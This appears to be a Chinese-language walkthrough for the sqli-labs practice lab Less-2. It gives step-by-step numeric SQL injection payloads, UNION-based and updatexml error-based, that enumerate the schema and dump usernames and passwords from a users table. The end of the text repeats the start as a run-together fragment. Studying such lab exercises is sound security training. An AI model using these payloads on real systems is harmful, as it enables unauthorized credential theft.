id=1 //无异常
id=1 and 1 =1 -- + //正确显示
id=1 and 1 =2 -- + //错误
说明有可能存在数字型SQL注入
2. 求列数
id=1 order by 3 -- +
id=1 order by 4 -- +
说明有3列
3. 求显示位
id=-1 union select 1,2,3 -- +
4. 爆数据库名
id=1 and 1=2 union select 1,version(),database() -- +
数据库名为:security
查询一下所有数据库名
id=1 and 1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata) -- +
发现有security库
5. 爆表名
查询一下security中有那些表
id=1 and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') -- +
发现有4个表,users表应该是想要找的用户表
6. 爆列名
查询表中的字段
id=1 and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security') -- +
7. 爆字段名
id=1 and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) -- +
8. 爆用户名为admin4的密码
id=1 and 1=2 union select 1,2,(select group_concat(username,password) from security.users where username='admin4') -- +
方法二:updatexml报错函数
1. 求闭合字符
id=1 //无异常
id=1 and 1 =1 -- + //正确显示
id=1 and 1 =2 -- + //错误
说明有可能存在数字型SQL注入
2. 爆数据库名
id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
3. 爆表名
id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)
4. 爆列名
id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)
5. 爆字段名
id=1 and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password)from security.users)),1)
6. 爆用户名为admin4的密码
id=1 and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password)from security.users where username='admin4')),1)
sqli靶场less2方法一:union联合查询1. 求闭合字符id=1 //无异常id=1 and 1 =1 -- + //正确显示id=1 and 1 =2 -- + //错误说明有可能存在数字型SQL注入2. 求列数id=1 order by 3 -- + id=1 order by 4 -- + 说明有3列3. 求显示位id=-1 union select 1,2,3 -- +4. 爆数据库名id=1 and 1=2 union select 1,